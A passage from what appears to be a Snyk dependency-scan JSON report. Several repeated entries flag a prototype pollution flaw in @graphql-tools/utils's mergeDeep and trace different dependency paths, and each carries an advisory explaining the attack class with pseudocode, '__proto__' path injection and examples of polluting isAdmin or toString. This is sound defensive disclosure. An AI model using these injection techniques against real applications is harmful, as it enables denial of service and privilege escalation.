PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.0.25",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [
false,
"@graphql-codegen/c-sharp-operations@3.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-tools/relay-operation-optimizer@7.1.14",
"@graphql-tools/utils@12.1.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `@graphql-tools/utils` to version 12.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e)\n- [GitHub PR](https://github.com/ardatan/graphql-tools/pull/8423)\n- [GitHub PR](https://github.com/graphql-hive/gateway/pull/2600)\n- [Maintainer's Advisory](https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv)\n",
"epssDetails": {
"percentile": "0.27143",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-104852"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-7mx3-vvmw-hjmv"
]
},
"packageName": "@graphql-tools/utils",
"proprietary": false,
"creationTime": "2026-10-06T13:40:54.993466Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-06T00:13:54.277000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-06T13:40:55.188306Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T13:32:37.361867Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"socket.io-server-v2@0.0.0",
"@graphql-codegen/c-sharp@5.1.2",
"@graphql-codegen/c-sharp-common@1.2.0",
"@graphql-codegen/visitor-plugin-common@5.8.0",
"@graphql-codegen/plugin-helpers@5.1.1",
"@graphql-tools/utils@10.10.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "@graphql-tools/utils",
"version": "10.10.3"
},
{
"id": "SNYK-JS-GRAPHQLTOOLSUTILS-20537055",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"tepel-chen"
],
"semver": {
"vulnerable": [
"<12.0.1"
]
},
"exploit": "Not Defined",
"fixedIn": [
"12.0.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@graphql-tools/utils",
"references": [
{
"url": "https://github.com/ardatan/graphql-tools/commit/0b9529f1988fd36186a7c106a6efe0356f1b7f2e",
"title": "GitHub Commit"
},
{
"url": "https://github.com/ardatan/graphql-tools/pull/8423",
"title": "GitHub PR"
},
{
"url": "https://github.com/graphql-hive/gateway/pull/2600",
"title": "GitHub PR"
},
{
"url": "https://github.com/ardatan/graphql-tools/security/advisories/GHSA-7mx3-vvmw-hjmv",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:37.361867Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:36.996627Z"
}
],
"description": "## Overview\n[@graphql-tools/utils](https://www.npmjs.org/package/@graphql-tools/utils) is a Common package containing utils and types for GraphQL tools\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeDeep` function, which fails to block reserved property keys such as `__proto__`, `constructor`, and `prototype` before recursively merging source objects into an output object. An attacker who controls a source object passed to `mergeDeep` can pollute `Object.prototype`, potentially affecting all objects in the process and enabling further exploitation.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
